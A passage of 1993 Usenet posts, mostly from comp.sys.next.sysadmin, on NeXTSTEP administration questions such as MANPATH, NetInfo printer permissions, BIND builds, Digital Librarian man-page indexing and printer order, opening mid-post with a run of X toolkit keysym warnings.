name: osfDelete Warning: ... found while parsing ' Shift Alt<Key>osfDelete: cut-primary()' Warning: translation table syntax error: Unknown keysym name: osfDelete Warning: ... found while parsing ' Shift ~Ctrl ~Meta ~Alt <Key>osfDelete: cut-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfDelete Warning: ... found while parsing ' ~Shift Ctrl ~Meta ~Alt <Key>osfDelete: delete-to-end-of-line()' Warning: translation table syntax error: Unknown keysym name: osfDelete Warning: ... found while parsing ' ~Shift ~Ctrl ~Meta ~Alt <Key>osfDelete: delete-next-character()' Warning: translation table syntax error: Unknown keysym name: osfInsert Warning: ... found while parsing 'Ctrl Meta<Key>osfInsert: copy-primary()' Warning: translation table syntax error: Unknown keysym name: osfInsert Warning: ... found while parsing ' Ctrl Alt<Key>osfInsert: copy-primary()' Warning: translation table syntax error: Unknown keysym name: osfInsert Warning: ... found while parsing ' Shift ~Ctrl ~Meta ~Alt <Key>osfInsert: paste-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfInsert Warning: ... found while parsing ' ~Shift Ctrl ~Meta ~Alt <Key>osfInsert: copy-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' ~Shift <Key>osfSelect: set-anchor()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' Shift ~Ctrl <Key>osfSelect: key-select()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: activate()' Warning: translation table syntax error: Unknown keysym name: osfAddMode Warning: ... found while parsing ' <Key>osfAddMode: toggle-add-mode()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: process-cancel()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' Shift Ctrl <Key>osfLeft: backward-word(extend)' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' Ctrl <Key>osfLeft: backward-word()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' Shift <Key>osfLeft: key-select(left)' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: backward-character()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' Shift Ctrl <Key>osfRight: forward-word(extend)' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' Ctrl <Key>osfRight: forward-word()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' Shift <Key>osfRight: key-select(right)' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: forward-character()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' Shift Ctrl <Key>osfUp: backward-paragraph(extend)' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' Ctrl <Key>osfUp: backward-paragraph()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' Shift <Key>osfUp: process-shift-up()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: process-up()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' Shift Ctrl <Key>osfDown: forward-paragraph(extend)' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' Ctrl <Key>osfDown: forward-paragraph()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' Shift <Key>osfDown: process-shift-down()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: process-down()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing '<Key>osfCancel: MenuEscape()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: MenuTraverseLeft()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: MenuTraverseRight()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: MenuTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: MenuTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing '<Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: KeySelect()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: KeySelect()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: CleanupMenuBar()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: KeySelect()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: KeySelect()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: CleanupMenuBar()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: ManagerGadgetSelect()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: BulletinBoardReturn()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: ManagerGadgetHelp()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: BulletinBoardCancel()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing '<Key>osfActivate: BulletinBoardReturn()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: BulletinBoardCancel()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: ArmAndActivate()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: ArmAndActivate()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: MenuShellPopdownOne()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: ArmAndActivate()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: ArmAndActivate()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing 'Shift Ctrl <Key>osfBeginLine: ListBeginDataExtend()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' Ctrl <Key>osfBeginLine: ListBeginData()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' <Key>osfBeginLine: ListBeginLine()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Shift Ctrl <Key>osfEndLine: ListEndDataExtend()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Ctrl <Key>osfEndLine: ListEndData()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' <Key>osfEndLine: ListEndLine()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' Ctrl <Key>osfPageUp: ListLeftPage()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' ~Ctrl <Key>osfPageUp: ListPrevPage()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' Ctrl <Key>osfPageDown: ListRightPage()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' ~Ctrl <Key>osfPageDown: ListNextPage()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' ~Shift <KeyDown>osfSelect: ListKbdBeginSelect()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' ~Shift <KeyUp>osfSelect: ListKbdEndSelect()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' ~Ctrl Shift <KeyDown>osfSelect: ListKbdBeginExtend()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' ~Ctrl Shift <KeyUp>osfSelect: ListKbdEndExtend()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: ListKbdActivate()' Warning: translation table syntax error: Unknown keysym name: osfAddMode Warning: ... found while parsing ' <Key>osfAddMode: ListAddMode()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: PrimitiveHelp()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: ListKbdCancel()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing '~Ctrl ~Shift <Key>osfLeft: ListLeftChar()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' Ctrl ~Shift <Key>osfLeft: ListLeftPage()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' ~Ctrl ~Shift <Key>osfRight: ListRightChar()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' Ctrl ~Shift <Key>osfRight: ListRightPage()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' Shift <Key>osfUp: ListExtendPrevItem()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' ~Shift <Key>osfUp: ListPrevItem()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' Shift <Key>osfDown: ListExtendNextItem()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' ~Shift <Key>osfDown: ListNextItem()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing '<Key>osfBeginLine: TopOrBottom()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' <Key>osfEndLine: TopOrBottom()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' <Key>osfPageUp: PageUpOrLeft(0)' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' <Key>osfPageDown: PageDownOrRight(0)' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: PrimitiveHelp()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfUp: IncrementUpOrLeft(0)' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfDown: IncrementDownOrRight(0)' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfLeft: IncrementUpOrLeft(1)' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfRight: IncrementDownOrRight(1)' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' ~Shift Ctrl <Key>osfUp: PageUpOrLeft(0)' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' ~Shift Ctrl <Key>osfDown: PageDownOrRight(0)' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' ~Shift Ctrl <Key>osfLeft: PageUpOrLeft(1)' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' ~Shift Ctrl <Key>osfRight: PageDownOrRight(1)' Working data will be in .Data but after that the motif window is there and everything works fine. I'd like to know what to fix although it's just annoying but does not prevent to use the full fonctionnality of Splus -- Jean-Fran ois Boisvieux |jfb@biomath.jussieu.fr Departement de Biomathematiques |(NeXT mail welcomed) Faculte de medecine Pitie-Salpetriere | 75013 Paris | France | ========================================|=========================
Newsgroups: comp.sys.next.sysadmin From: luis@elysia.fdn.org (Luis Arias) Subject: Re: problem with MANPATH. Message-ID: <1993Mar26.155525.7699@elysia.fdn.org> Sender: luis@elysia.fdn.org Organization: Elysia - Rueil_Malmaison, France. References: <1osp7c$fjj@menudo.uh.edu> Date: Fri, 26 Mar 1993 15:55:25 GMT In article <1osp7c$fjj@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes: > In article <9303251633.AA21971@gaul.csd.uwo.ca> Gregory W. Gee > <gee@gaul.csd.uwo.ca> writes: > # I am having a problem setting the MANPATH in my environment. I thought > #that I set it properly but it doesn't seem to have any effect. I only > #have two man directories. I set it with: > # > #set MANPATH = '/usr/man:/usr/local/man' > # > # What's the problem with this? > # > > If you are using csh then it should be: > > setenv MANPATH /usr/man:/usr/local/man > > > If you are using sh then it should be: > > MANPATH="/usr/man:/usr/local/man";export MANPATH > > I hope this helps... > > Hey, thanks a lot for this post. I had been having trouble with that too ! --- Luis Arias President Elysia, Inc. 23, rue Buffon 92500 RUEIL-MALMAISON FRANCE [33] (1) 47 49 61 96 [33] (1) 47 14 99 08 fax luis@elysia.fdn.org -- Luis Arias President Elysia, Inc. 23, rue Buffon
From: glenn@wheat-chex.ai.mit.edu (Glenn A. Adams) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Using ALT Key as META Date: 27 Mar 1993 14:50:28 GMT Organization: MIT Artificial Intelligence Laboratory Message-ID: <1p1pjkINNbm1@life.ai.mit.edu> Could someone tell me how to get the ALT key on the new NeXTStation Turbo keyboards (the one with the green power button and nice Command bar) to operate as META in GNU Emacs in the Terminal application? No matter what I do with Terminal preferences or the VT100 emulation mode, I can't seem to get it to work correctly. If I set the VT100 emulation to have ALT generate ESC sequences, then that's just what it does... generate an entire sequence, one having nothing to do with the key pressed; e.g., I get the following: M-@ esc 6 M-A esc nul M-B esc 0 M-C esc p M-D esc stx M-E esc nul M-F esc \ M-G esc [ . . . This is awfully annoying, and I'm sure (I hope) that there's something simple that will fix it. Direct replies please, Glenn Adams
Newsgroups: comp.sys.next.sysadmin Subject: Limiting swapfile size Message-ID: <1993Mar27.120733.6412@msuvx2.memst.edu> From: slusse@next1.msci.memst.edu (Ellen L Sluss) Date: 27 Mar 93 12:07:32 -0600 Distribution: world Organization: Memphis State University, Memphis TN Any application which uses large amounts of virtual memory naturally causes the swapfile to grow, and with a large enough appetite will cause it to grow either to the hiwater mark or to the limit of the file system. Both alternatives essentially make the system unusable - a reboot is required to continue (this is NS2.1 on an 040 cube). What have any of you done to manage this problem? Even if you aren't doing anything about it now, do you have ideas on how it might be managed? -- Ellen Sluss e-sluss@memst.edu Dept of Math Sciences, Memphis State University, Memphis, TN 38152
Newsgroups: comp.sys.next.sysadmin From: aboba@netcom.com (Bernard Aboba) Subject: Compiling nslookup on NeXT? Message-ID: <netnewsC4K7HD.ICL@netcom.com> Keywords: BIND, DNS, nslookup Sender: netnews@netcom.com (USENET Administration) Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Sat, 27 Mar 1993 18:03:11 GMT I am trying to make nslookup using the BIND 4.8.3 release, and am having no success. I followed the directions in the DNS and BIND book by O'Reilly & Associates, but on compiling nslookup and the name server give errors. The name resolver appears to compile just fine, though. Has anybody tried this?
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: NetInfoManager, Printer and NS3.0 Message-ID: <1993Mar27.163226.6098@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1993Mar26.160256.5376@mic.ucla.edu> Date: Sat, 27 Mar 1993 16:32:26 GMT In article <1993Mar26.160256.5376@mic.ucla.edu> aoki@madonna (Ken-ichiro Aoki) writes: > Fellow NeXTers, > > I have a question about NetInfo in NS3.0; When you use the NIManager, > it seems that any user (who can run NIManager) can change > the properties+values in the local printer directory. > When you try to save, it does not anthenticate and just saves it. > Is this a bug? Or did we just screw up and set up something wrong? > We can certainly make NIManager 750 or 700 (together with all > the /usr/bin/ni*) but I'd rather not do this unless it's necessary. > I'll email, but as its important enough here, post too. There was a CERT message about this from Alan Marcum at NeXT, though it was something we'd seen before (we actually thought it was some neat trick in netinfo, but it turned out to be simpler than this). Open the domain that contains the printer. Double click on the printers directory (not a printer, the directory itself). The directory will have two properties, "name" and "writers" - writers will be set to "*", which is the problem in hand. Remove the * and replace it with "root" or whoever the user you want to be able to change the printers are. I think it should respond to a group-name like @sysadmins, but don't quote me on that part. Alan_Marcum@next released a script that would run round the netinfo domains and fix this in all places. I have it somewhere, and can email it to people if necessary. Mark -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin From: pdg@chinet.chi.il.us (Paul Guthrie) Subject: Severe disk wierdness Message-ID: <C4KwBB.CFB@chinet.chi.il.us> Organization: The League of Crafty Hackers Date: Sun, 28 Mar 1993 02:59:34 GMT I just added a HP97544SF SCSI drive externally to my NS 3.0 Turbo Color Slab. I did the usual login as root, answer the "Initialize" prompt affirmatively, then let the disk get initialized and mounted. I then copied over a bunch of files onto the mounted disk. All looked well. When trying to start up a couple of apps, they failed immediately with very strange errors in the console. I tracked them down to the fact that the sum's were wrong on the binaries, which seemed to be very strange. If I just mount up the newly newfs'd drive, then copy /mach onto the drive as mach1 .. mach20, then do a sum mach*, I get *different* sum's each time. Furthermore, if I fsck the disk, using /dev/sd1a, it always finds lots of errors, but a fsck of /dev/rsd1a is always clean. In any case, this disk seems to work fine through the character driver, but fails miserably through the block driver. Unfortunately, I am lacking docs for this drive (any help on the jumper settings here would be appreciated), so I can't disable the two things that might be worth trying.... synchronous reads and the on board cache. Also... this disk was working fine on an ISC Unix (PC w/Adaptec 1542A) system. Any ideas? I'm stumped. Thanks, Paul -- Paul Guthrie paul@nsacray.chi.il.us or uunet!usorder!pdg
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.sysadmin Subject: Re: Compiling nslookup on NeXT? Message-ID: <1993Mar28.053642.29776@csus.edu> Date: 28 Mar 93 05:36:42 GMT References: <netnewsC4K7HD.ICL@netcom.com> Sender: news@csus.edu Organization: San Francisco State University In article <netnewsC4K7HD.ICL@netcom.com> aboba@netcom.com (Bernard Aboba) writes: >I am trying to make nslookup using the BIND 4.8.3 release, and am >having no success. I followed the directions in the DNS and BIND book >by O'Reilly & Associates, but on compiling nslookup and the name >server give errors. The name resolver appears to compile just fine, >though. Has anybody tried this? Yeah, eons ago. Anonymous FTP from sutro.sfsu.edu [130.212.15.230], pub/NeXT-BIND-4.8.3-src.tar.Z (No guarantees about its usefulness under 3.0.) Binaries and documentation are also available. [Why did you post this to .sysadmin?] -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: flog@open.ch (Florian Gutzwiller) Subject: DialUpIp with 38400/ISDN ? Message-ID: <1993Mar28.163144.6652@chsun.chuug.ch> Sender: news@chsun.chuug.ch (News Administrator) Organization: CHUUG Swiss Unix Systems Users Group Date: Sun, 28 Mar 1993 16:31:44 GMT We're running TranSys SLIP over a 38400 ISDN Terminal Adapter. It now seems, that with MTU set to 256 it works fine compared to 1006 causing a hang after 5 minutes. Can anybody comment on this behaviour? Thanks -Florian -- Florian Gutzwiller Tel: +41 61 262 05 10, Fax: +41 61 262 05 10 Open Systems AG flog@Open.CH Basel, Switzerland S=gutzwiller;O=open;P=EUnet=A=EUnet;C=CH
From: shuque@microsupport.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: Re: You don't exist. Go away Message-ID: <115952@netnews.upenn.edu> Date: 25 Mar 93 22:27:22 GMT References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU> Sender: news@netnews.upenn.edu Organization: University of Pennsylvania In article <1993Mar25.203409.7048@leland.Stanford.EDU> rick@indeed.stanford.edu (Rick Stanley Francis) writes: >In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr (Roberto >DiCosmo) writes: >> Sorry to bug you people with this annoying problem. >> We have several NeXT here, and on some of them when you try >> to talk to somebody you just get: >> >> You don't exist. Go away. > >I had this problem when I used steward instead of terminal, I believe that >the cause is that stuart doesn't use ttys while terminal does. > The problem has to do with the fact that Stuart doesn't update the utmp file which includes information about logged in users, unless it is installed setuid root. The docs have information on how to do this. In fact it is a small program 'slog' within the Stuart app wrapper that has to be setuid root. talk (and some other programs) look for the users entry in the utmp file and if not present assume some mischief and respond with that message ..! --Shumon.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.unix.questions,comp.sys.next.sysadmin Subject: Ftp with .netrc question Message-ID: <1p4qnh$2of@steffi.demon.co.uk> Date: 28 Mar 93 18:28:01 GMT Organization: me organized? That's a joke! How can you make my .netrc let me log into any machine with anonymous ftp? Currently if I specify "machine hostname" it will only execute the commands providing the machine hostname matches the host im currently connected to in an ftp session. What I would like is to be able to set it up so that I can just anonymous ftp anywhere.
From: gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu) Newsgroups: comp.unix.questions,comp.sys.next.sysadmin Subject: Re: Ftp with .netrc question Date: 28 Mar 1993 23:37:07 GMT Organization: University of Maryland, Baltimore County Campus Message-ID: <1p5cr3$fkf@news.umbc.edu> References: <1p4qnh$2of@steffi.demon.co.uk> In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >How can you make my .netrc let me log into any machine with anonymous >ftp? > >Currently if I specify "machine hostname" it will only execute the >commands providing the machine hostname matches the host im currently >connected to in an ftp session. What I would like is to be able to >set it up so that I can just anonymous ftp anywhere. Once again, as many have said before, the only way to default to anonymous login is to use ncftp, by Mike Gleason I believe. If you do not have a .netrc entry for a host ncftp will automatically attempt an anonymous login. --Greg
Newsgroups: comp.sys.next.sysadmin From: eric%basilisk@src.honeyell.com (Eric D. Engstrom) Subject: (Unified) Digital Librarian ManPage index (was: setting up an index for DL) Message-ID: <C4MnDz.GKz@basilisk.uucp> Keywords: Digital Librarian, ixbuild, IXBuild, man page, index, hack Sender: eric@basilisk.uucp (Eric D. Engstrom) Organization: anonymous References: <1993Mar26.073127.465@designimage.megalith.miami.fl.us> Date: Mon, 29 Mar 1993 01:41:59 GMT Dino Bagdadi <dino@designimage.megalith.miami.fl.us> wrote: > I am trying to rebuild the index to my UNIX man pages (since I > mistakenly deleted the one that came with 3.0). > I want to have each entry the way it was before: > > command name- description of command > > Can anyone tell me what the command line for this might be under NS 3.0? Short answer: RTM on ixbuild(1) - specifically the parameter "-g". In addition, I'd like to inform the newsgroup of a simple hack I setup on my own machine to create a unified DL target for all UN*X Manual pages (including system, local, gnu, whatever). This was easier under 2.x because IXBuild (pre IXKit) had more hacks in it... Basically, you need to setup a directory with sym-links to the various man-page directories; For example: (397)basilisk% pwd /LocalLibrary/Documentation/ManPages (398)basilisk% ls -alg total 728 drwxrwxr-x 2 eric wheel 1024 Mar 28 18:03 ./ drwxrwxr-x 11 root wheel 1024 Mar 27 00:41 ../ -rw-r--r-- 1 eric wheel 370 Feb 27 22:01 .README -rw-rw-r-- 1 eric wheel 872 Feb 27 17:11 .dir.tiff -rw-rw-r-- 1 eric wheel 20 Feb 27 17:11 .displayCommand -rw-rw-r-- 1 eric wheel 47 Feb 27 17:10 .index.iname -rw-rw-r-- 1 eric wheel 6 Feb 27 17:10 .index.itype -rw-r--r-- 1 eric wheel 729088 Mar 28 18:44 .index.store -rw-rw-r-- 1 eric wheel 5 Feb 27 17:11 .roffArgs lrwxrwxrwx 1 eric wheel 18 Feb 27 17:53 gnu -> /usr/local/gnu/man/@ lrwxrwxrwx 1 eric wheel 14 Feb 27 17:53 local -> /usr/local/man/@ lrwxrwxrwx 1 eric wheel 9 Feb 27 17:53 news -> /news/man/@ lrwxrwxrwx 1 eric wheel 35 Feb 27 17:53 system -> /usr/man/@ (399)basilisk% Notice that I also copied all the ".[a-z]*" files from the /usr/man/ directory as well. Then, use ixbuild -gl to (re)build the index. If your any of the links point to directories on other devices, add "d" to "-gl". "-v" will give you verbose output (like my writing style ;-). RTM under ixbuild(1) for more info. Unfortunantly, once the index is built, I've never successfully gotten DL to update it correctly. Instead I have to do it by hand using "ixbuild -ogldvc" (actualy, I setup a cron job to reindex weekly.) If you have troubles, try removing the .index.store file and rebuilding the entire database. I've had intermittent problems with ixbuild under 3.0. Good luck, Eric +------------ Eric D. Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA engstrom@src.honeywell.com -or- NeXT: eric%basilisk@src.honeywell.com < I eat from the four food groups: Barley, Hops, Yeast, Water >
From: clloyd@gleap (Charles C. Lloyd) Newsgroups: comp.sys.next.sysadmin Subject: Tip: Run Edit as Another User Keywords: su Edit groupware Message-ID: <1993Mar29.004911.5633@gleap.jupnix.com> Date: Mon, 29 Mar 1993 00:49:11 GMT Sender: clloyd@gleap.jupnix.com Organization: GiantLeap Software Here is a tip which I have discovered recently which can save a lot of hassle when doing system maintenance. This is also useful when two people are working together at the same system, but have two different accounts. Also, I don't want to learn vi, so this helps tremendously. You can run Edit as any other user on your system and trick it to make it think you're logged in as that user. This way, you have the proper file permissions for reading and (especially) saving the files. (I find this particularly useful when maintaining uucp-owned files). To do this, get a shell and type: regular-user> su alt-username Password:....... alt-username> (/NextApps/Edit.app/Edit) & Edit will launch with an icon at the bottom of the screen. To open files, you must use the "Open Panel" (dragging the file's icon into the open panel helps here). Also, do not use carriage return to accept selections of the open panel, click the OK button with the mouse (CR will cause the file to open under regular-user for unknown reasons). You must be aware of which files are opened as which user. You can cmd-double-click on the Edit icon at the bottom of the screen to see only those files opened by alt-username. I have tried this trick with several other apps with varying degrees of success (mostly failure). Mail.app does not behave well. WorkSpaceManager doesn't work at all. FileViewer starts to work, then doesn't. I havn't tried it with Terminal.app. What I'd really like is to be able to open several Workspace Managers as different users; are you listening NeXT? -- Charles Lloyd GiantLeap Software (713) 363-0887 clloyd@GLeap.jpunix.com (713) 363-0936 (fax)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: Aaron Herskowitz Subject: DOS File Date Incorrect after Write Message-ID: <1993Mar29.025841.6810@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Mon, 29 Mar 1993 02:58:41 GMT Why is it that whenever you write to a file on a DOS disk from a NeXTstation running NS 2.2 and then return the disk to a PC that the file seems to have jumped back in time 30 years? When I do a directory on the DOS machine <yuck>, I get a 1962 date. I looked through the FAQs that I have and could find nothing about this. Thanks in advance, Aaron aherskow@alleg.edu [NeXTmail Welcomed]
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: Reversing the order of printing Message-ID: <b--5!3+@rpi.edu> References: <1993Mar25.120254.5083@uunet!cbmvax!xmws!kripalu> Date: Mon, 29 Mar 1993 05:32:48 GMT harit@kripalu.com writes: > gds@ikura.cs.uct.ac.za (Riel Smit) writes: > > I can't find the place where I can tell the print command started > > from Preview to NOT send the last page first. This is preview > > release 2.0(v22) > > > > Any help will be appreciated > > In NS 3.0 the printer definition controls the print order not the > application. In NS 2.0 I never found a way to change print order. > It was just always backward. Actually this gives one a round-about way to have an option for selecting the print order. All my printcap entries send jobs to other unix hosts for printing. The way our LaserWriter IIg is setup, my printouts come out backwards -- which is rather annoying. So I copied /NextLibrary/PrinterTypes/English.lproj/Apple_LaserWriter_IIg.ppd to /LocalLibrary/PrinterTypes/English.lproj/Apple_LaserWriter_IIg-R.ppd and changed the line: *DefaultOutputOrder: Normal to be *DefaultOutputOrder: Reverse Our LaserWriter IIg also has the ROM upgrade from Apple, so it includes the ZapfDigbats font in it's ROM. So I added that line to the ppd file too (copying it from one of the other ppd files). I then added a second printcap entry, which was about the same as the first except that it specified "ty=Apple LaserWriter IIg-R" (and it has a different printer name too, of course). This seems to work out pretty well. I can select either printer from the "Print..." panel, and one prints pages in the opposite order of the other. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: user tiffs under Mail.app (RTF posting) Message-ID: <c=-5tk-@rpi.edu> Keywords: face-tiffs Mail NewsGrazer References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us> Date: Mon, 29 Mar 1993 06:11:16 GMT designimage!root (Operator) writes: > I am trying to set up the tiffs of remote people so that when I receive > mail from them I can see their image in Mail's panel. > > I know that for local users I have to name the tiffs as "user.tiff" > (ie, so that my tiff is dino.tiff). What about a person by the name > of stimpy@foo.com? > > I've tried naming their tiff as: > o stimpy.tiff > o stimpy@foo.com.tiff > Neither one has worked. Can this be done at all? Put all your face-tiff icons in /LocalLibrary/Images/People in "NewsGrazer format". That replaces "@" and "!"'s in the name with periods, such that the face tiff for gad@eclipse.its.rpi.edu should be in gad.eclipse.its.rpi.edu.tiff Note that that all letters should be in lowercase too, such that a real email address of Robert_La_Ferla@hot.com should be in robert_la_ferla.hot.com.tiff and the face tiff for Conrad_Geiger@NeXT.com should be in conrad_geiger.next.com.tiff Also create a link from /LocalLibrary/NewsGrazer/People to /LocalLibrary/Images/People if you are using NewsGrazer. Once you have all the tiffs in that directory, cd to that directory and run the mkpassalia script (originally written by Carl Edman) from within the directory. I actually keep the mkpassalia script in that directory. Here's the script, with a few changes from me: The astute person will note that this script doesn't really work for all cases. It won't do the right mapping for an address like Joe%place@other.host.com, for instance. The newsgrazer form of that address is joe.place.other.host.com, and this script recreates that as a Mail.app name of joe@place.other.host.com. 